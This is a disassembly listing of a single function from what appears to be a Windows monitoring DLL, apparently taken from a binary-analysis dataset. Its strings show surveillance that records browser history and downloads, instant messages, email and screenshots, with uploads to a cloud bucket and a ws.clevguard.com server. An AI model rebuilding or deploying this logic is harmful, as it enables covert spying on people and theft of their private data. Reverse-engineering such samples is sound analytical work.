Function at 0x10027c20
Capabilities:
Create thread
Get session user name
Read .ini file

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x1184
call fcn.100dd8d0
mov eax, dword [0x10115034]
xor eax, esp
mov dword [esp + 0x1180], eax
push ebx
push esi
push edi
push 0x100f0904
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov ebx, eax
mov dword [esp + 0x14], ebx
call dword [sym.imp.KERNEL32.dll_GetLastError]
test ebx, ebx
je 0x10028974
cmp eax, 0xb7
je 0x10028974
push 3
call dword [sym.imp.libcurl.dll_curl_global_init]
add esp, 4
lea ecx, [esp + 0xe0]
push 0x100f09e8
call fcn.100068a0
xor eax, eax
push 0x7fe
push eax
mov word [esp + 0x990], ax
lea eax, [esp + 0x992]
push eax
call sub.MSVCR120.dll_memset
add esp, 0xc
mov dword [esp + 0xc4], 0x400
lea eax, [esp + 0xc4]
push eax
lea eax, [esp + 0x98c]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameW]
sub esp, 0x18
mov ecx, esp
push 0x100f09dc
call fcn.10001ef0
lea ecx, [esp + 0x140]
call fcn.100ac2e0
mov ecx, esp
push str.dataDB
call fcn.10001ef0
lea ecx, [esp + 0x128]
call fcn.100ac2e0
mov ecx, esp
push str.Log
call fcn.10001ef0
lea ecx, [esp + 0xe0]
call fcn.100ac2e0
mov ecx, esp
push 0x100f0a4c
call fcn.10001ef0
lea ecx, [esp + 0x110]
call fcn.100ac2e0
add esp, 0x18
call fcn.10026ed0
mov ecx, eax
mov edx, dword [eax]
call dword [edx]
call fcn.10026f50
mov ecx, eax
mov edx, dword [eax]
call dword [edx]
call fcn.1001a830
mov ecx, eax
mov edx, dword [eax]
call dword [edx]
call fcn.1001d180
mov ecx, eax
mov edx, dword [eax]
call dword [edx]
call fcn.10026fe0
mov ecx, eax
mov edx, dword [eax]
call dword [edx]
call fcn.10027060
mov ecx, eax
mov edx, dword [eax]
call dword [edx]
call fcn.100270e0
mov ecx, eax
mov edx, dword [eax]
call dword [edx]
call fcn.10027160
mov ecx, eax
mov edx, dword [eax]
call dword [edx]
call fcn.100271e0
mov ecx, eax
mov edx, dword [eax]
call dword [edx]
call fcn.10019490
mov ecx, eax
mov edx, dword [eax]
call dword [edx]
call fcn.10020360
mov ecx, eax
mov edx, dword [eax]
call dword [edx]
call fcn.10027260
mov ecx, eax
mov edx, dword [eax]
call dword [edx]
call fcn.10022220
mov ecx, eax
mov edx, dword [eax]
call dword [edx]
cmp dword [esp + 0xdc], 8
lea ecx, [esp + 0xc8]
lea edx, [esp + 0x988]
cmovae ecx, dword [esp + 0xc8]
call fcn.100ac6f0
cmp dword [esp + 0x13c], 8
lea ecx, [esp + 0x128]
lea edx, [esp + 0x988]
cmovae ecx, dword [esp + 0x128]
call fcn.100ac6f0
cmp dword [esp + 0x124], 8
lea ecx, [esp + 0x110]
lea edx, [esp + 0x988]
cmovae ecx, dword [esp + 0x110]
call fcn.100ac6f0
cmp dword [esp + 0x10c], 8
lea ecx, [esp + 0xf8]
lea edx, [esp + 0x988]
cmovae ecx, dword [esp + 0xf8]
call fcn.100ac6f0
mov eax, dword [0x10119bf0]
test al, 1
jne 0x10027e70
or eax, 1
mov dword [0x10119bf0], eax
call fcn.10011310
push 0x100e61a0
call fcn.100dc9fb
add esp, 4
sub esp, 0x18
mov ecx, esp
push str.configure.dat
call fcn.10001ef0
call fcn.10014070
mov ecx, eax
call fcn.100b1940
sub esp, 0x18
mov ecx, esp
call fcn.100ac930
lea ecx, [esp + 0xc4]
call fcn.1002e9e0
lea ecx, [esp + 0x158]
call fcn.100ac8b0
push 0
call dword [sym.imp.MSVCR120.dll__time64]
add esp, 0x1c
lea ecx, [esp + 0x170]
mov edx, eax
call fcn.100231d0
sub esp, 0x18
lea eax, [esp + 0xc4]
mov ecx, esp
push 0xffffffffffffffff
push 0
mov dword [ecx + 0x14], 0xf
mov dword [ecx + 0x10], 0
push eax
mov byte [ecx], 0
call fcn.10006b20
sub esp, 0x18
mov ecx, esp
push str.EdgeRecord
call fcn.100068a0
call fcn.10027530
add esp, 0x18
lea eax, [esp + 0xc4]
mov ecx, esp
push 0xffffffffffffffff
push 0
mov dword [ecx + 0x14], 0xf
mov dword [ecx + 0x10], 0
push eax
mov byte [ecx], 0
call fcn.10006b20
sub esp, 0x18
mov ecx, esp
push str.ChromeRecord
call fcn.100068a0
call fcn.10027530
add esp, 0x18
lea eax, [esp + 0xc4]
mov ecx, esp
push 0xffffffffffffffff
push 0
mov dword [ecx + 0x14], 0xf
mov dword [ecx + 0x10], 0
push eax
mov byte [ecx], 0
call fcn.10006b20
sub esp, 0x18
mov ecx, esp
push str.IERecord
call fcn.100068a0
call fcn.10027530
add esp, 0x18
lea eax, [esp + 0xc4]
mov ecx, esp
push 0xffffffffffffffff
push 0
mov dword [ecx + 0x14], 0xf
mov dword [ecx + 0x10], 0
push eax
mov byte [ecx], 0
call fcn.10006b20
sub esp, 0x18
mov ecx, esp
push str.OperaRecord
call fcn.100068a0
call fcn.10027530
add esp, 0x18
mov ecx, esp
lea eax, [esp + 0xc4]
push 0xffffffffffffffff
push 0
push eax
mov dword [ecx + 0x14], 0xf
mov dword [ecx + 0x10], 0
mov byte [ecx], 0
call fcn.10006b20
sub esp, 0x18
mov ecx, esp
push str.FirefoxRecord
call fcn.100068a0
call fcn.10027530
add esp, 0x18
lea eax, [esp + 0x188]
mov ecx, esp
push 0xffffffffffffffff
push 0
mov dword [ecx + 0x14], 0xf
mov dword [ecx + 0x10], 0
push eax
mov byte [ecx], 0
call fcn.10006b20
sub esp, 0x18
mov ecx, esp
push str.UserOperate
call fcn.100068a0
call fcn.10027530
add esp, 0x18
lea eax, [esp + 0xc4]
mov ecx, esp
push 0xffffffffffffffff
push 0
mov dword [ecx + 0x14], 0xf
mov dword [ecx + 0x10], 0
push eax
mov byte [ecx], 0
call fcn.10006b20
sub esp, 0x18
mov ecx, esp
push str.IEDownload
call fcn.100068a0
call fcn.10027530
add esp, 0x18
lea eax, [esp + 0xc4]
mov ecx, esp
push 0xffffffffffffffff
push 0
mov dword [ecx + 0x14], 0xf
mov dword [ecx + 0x10], 0
push eax
mov byte [ecx], 0
call fcn.10006b20
sub esp, 0x18
mov ecx, esp
push str.EdgeDownload
call fcn.100068a0
call fcn.10027530
add esp, 0x18
lea eax, [esp + 0xc4]
mov ecx, esp
push 0xffffffffffffffff
push 0
mov dword [ecx + 0x14], 0xf
mov dword [ecx + 0x10], 0
push eax
mov byte [ecx], 0
call fcn.10006b20
sub esp, 0x18
mov ecx, esp
push str.ChromeDownload
call fcn.100068a0
call fcn.10027530
add esp, 0x18
mov ecx, esp
push 0xffffffffffffffff
mov dword [ecx + 0x14], 0xf
mov dword [ecx + 0x10], 0
mov byte [ecx], 0
push 0
lea eax, [esp + 0xcc]
push eax
call fcn.10006b20
sub esp, 0x18
mov ecx, esp
push str.OperaDownload
call fcn.100068a0
call fcn.10027530
add esp, 0x18
lea eax, [esp + 0xc4]
mov ecx, esp
push 0xffffffffffffffff
push 0
mov dword [ecx + 0x14], 0xf
mov dword [ecx + 0x10], 0
push eax
mov byte [ecx], 0
call fcn.10006b20
sub esp, 0x18
mov ecx, esp
push str.FirefoxDownload
call fcn.100068a0
call fcn.10027530
add esp, 0x18
lea eax, [esp + 0x158]
mov ecx, esp
push 0xffffffffffffffff
push 0
mov dword [ecx + 0x14], 0xf
mov dword [ecx + 0x10], 0
push eax
mov byte [ecx], 0
call fcn.10006b20
sub esp, 0x18
mov ecx, esp
push str.ImRecord
call fcn.100068a0
call fcn.10027530
add esp, 0x18
lea eax, [esp + 0x158]
mov ecx, esp
push 0xffffffffffffffff
push 0
mov dword [ecx + 0x14], 0xf
mov dword [ecx + 0x10], 0
push eax
mov byte [ecx], 0
call fcn.10006b20
sub esp, 0x18
mov ecx, esp
push str.EmailRecord
call fcn.100068a0
call fcn.10027530
mov eax, 0x1001d3b0
add esp, 0x30
test eax, eax
jne 0x100281d7
mov dword [esp + 0x28], eax
jmp 0x100281ef
lea eax, [esp + 0x18]
mov dword [esp + 0x18], 0x101006dc
mov dword [esp + 0x1c], 0x1001d3b0
mov dword [esp + 0x28], eax
call fcn.100272e0
lea esi, [eax + 0x18]
lea eax, [esp + 0x18]
cmp esi, eax
je 0x10028227
mov ecx, dword [esi + 0x10]
test ecx, ecx
je 0x1002821b
mov edx, dword [ecx]
cmp ecx, esi
setne al
movzx eax, al
push eax
call dword [edx + 0x10]
mov dword [esi + 0x10], 0
lea eax, [esp + 0x18]
mov ecx, esi
push eax
call fcn.100c1a10
mov ecx, dword [esp + 0x28]
test ecx, ecx
je 0x10028241
mov edx, dword [ecx]
lea eax, [esp + 0x18]
cmp ecx, eax
setne al
movzx eax, al
push eax
call dword [edx + 0x10]
call fcn.100272e0
mov esi, eax
call fcn.100272e0
mov dword [eax], 0x27db
lea eax, [esp + 0x10]
push eax
push 0
push esi
push 0x100c1680
push 0
push 0
mov dword [esp + 0x28], 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [esi + 0x14], eax
call fcn.1002dd90
mov ecx, eax
call fcn.1002e2d0
call fcn.10024da0
mov ecx, eax
call fcn.10025860
call fcn.1002dd90
mov dword [eax], 0x10025b80
mov dword [eax + 4], 0
call fcn.10028d90
mov ecx, eax
mov edx, dword [eax]
call dword [edx]
sub esp, 0x18
mov ecx, esp
push 0x100f0b44
call fcn.100068a0
call dword [sym.imp.NetCommHelper.dll_public:_static_class_CNetManager____cdecl_CNetManager::GetInstance_void_]
mov ecx, eax
call dword [sym.imp.NetCommHelper.dll_public:_void___thiscall_CNetManager::SetHost_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___]
sub esp, 0x18
mov ecx, esp
push str.monivisor_datas
call fcn.100068a0
call dword [sym.imp.NetCommHelper.dll_public:_static_class_CNetManager____cdecl_CNetManager::GetInstance_void_]
mov ecx, eax
call dword [sym.imp.NetCommHelper.dll_public:_void___thiscall_CNetManager::SetBucketName_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___]
sub esp, 0x18
mov ecx, esp
push str.https:__oss_us_west_1.aliyuncs.com
call fcn.100068a0
call dword [sym.imp.NetCommHelper.dll_public:_static_class_CNetManager____cdecl_CNetManager::GetInstance_void_]
mov ecx, eax
call dword [sym.imp.NetCommHelper.dll_public:_void___thiscall_CNetManager::SetEndpoint_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___]
push 0x3ff
lea eax, [esp + 0x18d]
mov byte [esp + 0x18c], 0
push 0
push eax
call sub.MSVCR120.dll_memset
mov esi, dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea eax, [esp + 0xec]
add esp, 0xc
cmp dword [esp + 0xf4], 0x10
cmovae eax, dword [esp + 0xe0]
push eax
push 0x400
lea eax, [esp + 0x190]
push eax
push 0
push 0x100f0b94
push 0x100f0ba0
call esi
push 0x3ff
lea eax, [esp + 0x58d]
mov byte [esp + 0x58c], 0
push 0
push eax
call sub.MSVCR120.dll_memset
add esp, 0xc
lea eax, [esp + 0xe0]
cmp dword [esp + 0xf4], 0x10
cmovae eax, dword [esp + 0xe0]
push eax
push 0x400
lea eax, [esp + 0x590]
push eax
push 0
push str.token
push 0x100f0bb0
call esi
lea eax, [esp + 0x588]
push eax
lea eax, [esp + 0x18c]
push eax
push str.deviceId:__s__token:__s
push 1
push 0xbe
push 0x100f0bd0
push 0x100f0bf8
call fcn.100d1270
add esp, 4
lea eax, [esp + 0x1a0]
mov ecx, esp
push eax
call fcn.100068a0
call dword [sym.imp.NetCommHelper.dll_public:_static_class_CNetManager____cdecl_CNetManager::GetInstance_void_]
mov ecx, eax
call dword [sym.imp.NetCommHelper.dll_public:_void___thiscall_CNetManager::SetDeviceId_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___]
sub esp, 0x18
lea eax, [esp + 0x5a0]
mov ecx, esp
push eax
call fcn.100068a0
call dword [sym.imp.NetCommHelper.dll_public:_static_class_CNetManager____cdecl_CNetManager::GetInstance_void_]
mov ecx, eax
call dword [sym.imp.NetCommHelper.dll_public:_void___thiscall_CNetManager::SetToken_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___]
call fcn.10020b30
mov esi, eax
call fcn.10020b30
mov ecx, dword [0x10119d88]
mov dword [esp + 0x10], eax
test cl, 1
jne 0x10028451
or ecx, 1
mov dword [0x10119d8c], 0x101005ec
push 0x100e66e0
mov dword [0x10119d88], ecx
call fcn.100dc9fb
add esp, 4
call fcn.10020b30
mov edi, eax
mov dword [esp + 0x48], vtable.._AV___Func_impl_U___Callable_obj_V___Bind__00_NU___Pmf_wrap_P8CHandleScreenshotEvent__AE_NXZ_NV1____V_std__PAVCHandleScreenshotEvent___std___0A__std__V__allocator_V___Func_class__N___V_std___2__N___V_std__.0
lea eax, [esp + 0x48]
mov dword [esp + 0x4c], 0x100127a6
mov dword [esp + 0x50], esi
mov dword [esp + 0x58], eax
call fcn.10027390
lea esi, [eax + 0x50]
lea eax, [esp + 0x48]
cmp esi, eax
je 0x100284ac
mov ecx, dword [esi + 0x10]
test ecx, ecx
je 0x100284a0
mov edx, dword [ecx]
cmp ecx, esi
setne al
movzx eax, al
push eax
call dword [edx + 0x10]
mov dword [esi + 0x10], 0
lea eax, [esp + 0x48]
mov ecx, esi
push eax
call fcn.100c1a10
mov ecx, dword [esp + 0x58]
test ecx, ecx
je 0x100284c6
mov edx, dword [ecx]
lea eax, [esp + 0x48]
cmp ecx, eax
setne al
movzx eax, al
push eax
call dword [edx + 0x10]
mov eax, dword [esp + 0x10]
mov dword [esp + 0x38], eax
lea eax, [esp + 0x30]
mov dword [esp + 0x30], vtable.._AV___Func_impl_U___Callable_obj_V___Bind__00XU___Pmf_wrap_P8CHandleScreenshotEvent__AEXXZXV1____V_std__PAVCHandleScreenshotEvent___std___0A__std__V__allocator_V___Func_class_X___V_std___2_X___V_std__.0
mov dword [esp + 0x34], 0x10020f30
mov dword [esp + 0x40], eax
call fcn.10027390
lea esi, [eax + 0x68]
lea eax, [esp + 0x30]
cmp esi, eax
je 0x1002851e
mov ecx, dword [esi + 0x10]
test ecx, ecx
je 0x10028512
mov edx, dword [ecx]
cmp ecx, esi
setne al
movzx eax, al
push eax
call dword [edx + 0x10]
mov dword [esi + 0x10], 0
lea eax, [esp + 0x30]
mov ecx, esi
push eax
call fcn.100c1a10
mov ecx, dword [esp + 0x40]
test ecx, ecx
je 0x10028538
mov edx, dword [ecx]
lea eax, [esp + 0x30]
cmp ecx, eax
setne al
movzx eax, al
push eax
call dword [edx + 0x10]
lea eax, [esp + 0x60]
mov dword [esp + 0x60], vtable.._AV___Func_impl_U___Callable_obj_V___Bind__00_NU___Pmf_wrap_P8CHandleUninstallEvent__AE_NXZ_NV1____V_std__PAVCHandleUninstallEvent___std___0A__std__V__allocator_V___Func_class__N___V_std___2__N___V_std__.0
mov dword [esp + 0x64], 0x100127a6
mov dword [esp + 0x68], 0x10119d8c
mov dword [esp + 0x70], eax
call fcn.10027390
lea esi, [eax + 0x80]
lea eax, [esp + 0x60]
cmp esi, eax
je 0x10028593
mov ecx, dword [esi + 0x10]
test ecx, ecx
je 0x10028587
mov edx, dword [ecx]
cmp ecx, esi
setne al
movzx eax, al
push eax
call dword [edx + 0x10]
mov dword [esi + 0x10], 0
lea eax, [esp + 0x60]
mov ecx, esi
push eax
call fcn.100c1a10
mov ecx, dword [esp + 0x70]
test ecx, ecx
je 0x100285ad
mov edx, dword [ecx]
lea eax, [esp + 0x60]
cmp ecx, eax
setne al
movzx eax, al
push eax
call dword [edx + 0x10]
lea eax, [esp + 0x78]
mov dword [esp + 0x78], vtable.._AV___Func_impl_U___Callable_obj_V___Bind__00_NU___Pmf_wrap_P8CHandleScreenshotEvent__AE_NXZ_NV1____V_std__PAVCHandleScreenshotEvent___std___0A__std__V__allocator_V___Func_class__N___V_std___2__N___V_std__.0
mov dword [esp + 0x7c], fcn.10020f70
mov dword [esp + 0x80], edi
mov dword [esp + 0x88], eax
call fcn.10027390
lea esi, [eax + 0x98]
lea eax, [esp + 0x78]
cmp esi, eax
je 0x1002860a
mov ecx, dword [esi + 0x10]
test ecx, ecx
je 0x100285fe
mov edx, dword [ecx]
cmp ecx, esi
setne al
movzx eax, al
push eax
call dword [edx + 0x10]
mov dword [esi + 0x10], 0
lea eax, [esp + 0x78]
mov ecx, esi
push eax
call fcn.100c1a10
mov ecx, dword [esp + 0x88]
test ecx, ecx
je 0x10028627
mov edx, dword [ecx]
lea eax, [esp + 0x78]
cmp ecx, eax
setne al
movzx eax, al
push eax
call dword [edx + 0x10]
lea eax, [esp + 0x188]
push eax
lea eax, [esp + 0x15c]
push str.__userIdpc__s
push eax
call fcn.1002e4c0
add esp, 0xc
call fcn.10027390
sub esp, 0x18
mov ecx, esp
mov dword [eax + 0x1c], 0x2529
push str.ws.clevguard.com
call fcn.100068a0
call fcn.10027390
mov ecx, eax
call fcn.100c40a0
sub esp, 0x18
lea eax, [esp + 0x170]
mov ecx, esp
push 0xffffffffffffffff
push 0
mov dword [ecx + 0x14], 0xf
mov dword [ecx + 0x10], 0
push eax
mov byte [ecx], 0
call fcn.10006b20
call fcn.10027390
mov ecx, eax
call fcn.100c4100
call fcn.10027390
mov ecx, eax
call fcn.100c3da0
call dword [sym.imp.NetCommHelper.dll_public:_static_class_CNetManager____cdecl_CNetManager::GetInstance_void_]
mov ecx, eax
call dword [sym.imp.NetCommHelper.dll_public:_void___thiscall_CNetManager::Run_void_]
call fcn.10011830
mov ecx, eax
call fcn.10011950
call dword [sym.imp.NetCommHelper.dll_public:_static_class_CNetManager____cdecl_CNetManager::GetInstance_void_]
mov ecx, eax
call dword [sym.imp.NetCommHelper.dll_public:_void___thiscall_CNetManager::RefreshUserToken_void_]
sub esp, 0x18
lea eax, [esp + 0x1a0]
mov ecx, esp
push eax
call fcn.100068a0
call dword [sym.imp.NetCommHelper.dll_public:_static_class_CNetManager____cdecl_CNetManager::GetInstance_void_]
mov ecx, eax
call dword [sym.imp.NetCommHelper.dll_public:_void___thiscall_CNetManager::StartHeartbeat_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___]
push str.Dll_init_success_
push 1
push 0xe0
push str..._srcMoniterHelperMonitorMain.cpp
push 0x100f0c68
call fcn.100d1270
add esp, 0x14
call fcn.10027420
mov esi, dword [sym.imp.USER32.dll_GetMessageW]
lea eax, [esp + 0x90]
push 0
push 0
push 0
push eax
call esi
test eax, eax
je 0x10028787
mov edi, dword [sym.imp.USER32.dll_TranslateMessage]
mov ebx, dword [sym.imp.USER32.dll_DispatchMessageW]
jmp 0x10028740
lea eax, [esp + 0x90]
push eax
push 0
push dword [esp + 0x98]
call dword [sym.imp.USER32.dll_TranslateAcceleratorW]
test eax, eax
jne 0x1002876f
lea eax, [esp + 0x90]
push eax
call edi
lea eax, [esp + 0x90]
push eax
call ebx
push 0
push 0
push 0
lea eax, [esp + 0x9c]
push eax
call esi
test eax, eax
jne 0x10028740
mov ebx, dword [esp + 0x14]
call dword [sym.imp.libcurl.dll_curl_global_cleanup]
push ebx
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [esp + 0x16c], 0x10
mov esi, dword [sym.imp.MSVCR120.dll_void___cdecl_operator_delete_void__]
jb 0x100287b7
push dword [esp + 0x158]
call esi
add esp, 4
cmp dword [esp + 0x184], 0x10
mov dword [esp + 0x16c], 0xf
mov dword [esp + 0x168], 0
mov byte [esp + 0x158], 0
jb 0x100287eb
push dword [esp + 0x170]
call esi
add esp, 4
cmp dword [esp + 0x154], 0x10
mov dword [esp + 0x184], 0xf
mov dword [esp + 0x180], 0
mov byte [esp + 0x170], 0
jb 0x1002881f
push dword [esp + 0x140]
call esi
add esp, 4
cmp dword [esp + 0xc0], 0x10
mov dword [esp + 0x154], 0xf
mov dword [esp + 0x150], 0
mov byte [esp + 0x140], 0
jb 0x10028853
push dword [esp + 0xac]
call esi
add esp, 4
cmp dword [esp + 0x10c], 8
mov dword [esp + 0xc0], 0xf
mov dword [esp + 0xbc], 0
mov byte [esp + 0xac], 0
jb 0x10028887
push dword [esp + 0xf8]
call esi
add esp, 4
xor eax, eax
mov dword [esp + 0x10c], 7
cmp dword [esp + 0xdc], 8
mov dword [esp + 0x108], 0
mov word [esp + 0xf8], ax
jb 0x100288bd
push dword [esp + 0xc8]
call esi
add esp, 4
xor eax, eax
mov dword [esp + 0xdc], 7
cmp dword [esp + 0x124], 8
mov dword [esp + 0xd8], 0
mov word [esp + 0xc8], ax
jb 0x100288f3
push dword [esp + 0x110]
call esi
add esp, 4
xor eax, eax
mov dword [esp + 0x124], 7
cmp dword [esp + 0x13c], 8
mov dword [esp + 0x120], 0
mov word [esp + 0x110], ax
jb 0x10028929
push dword [esp + 0x128]
call esi
add esp, 4
xor eax, eax
mov dword [esp + 0x13c], 7
cmp dword [esp + 0xf4], 0x10
mov dword [esp + 0x138], 0
mov word [esp + 0x128], ax
jb 0x10028994
push dword [esp + 0xe0]
call esi
add esp, 4
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x1180]
xor ecx, esp
call fcn.100dc8fb
mov esp, ebp
pop ebp
ret
push str.MONITER_MUTEX_x32
push str.already_exist___s_
push 1
push 0x67
push 0x100f0990
push 0x100f0974
call fcn.100d1600
add esp, 0x18
mov ecx, dword [esp + 0x118c]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.100dc8fb
mov esp, ebp
pop ebp
ret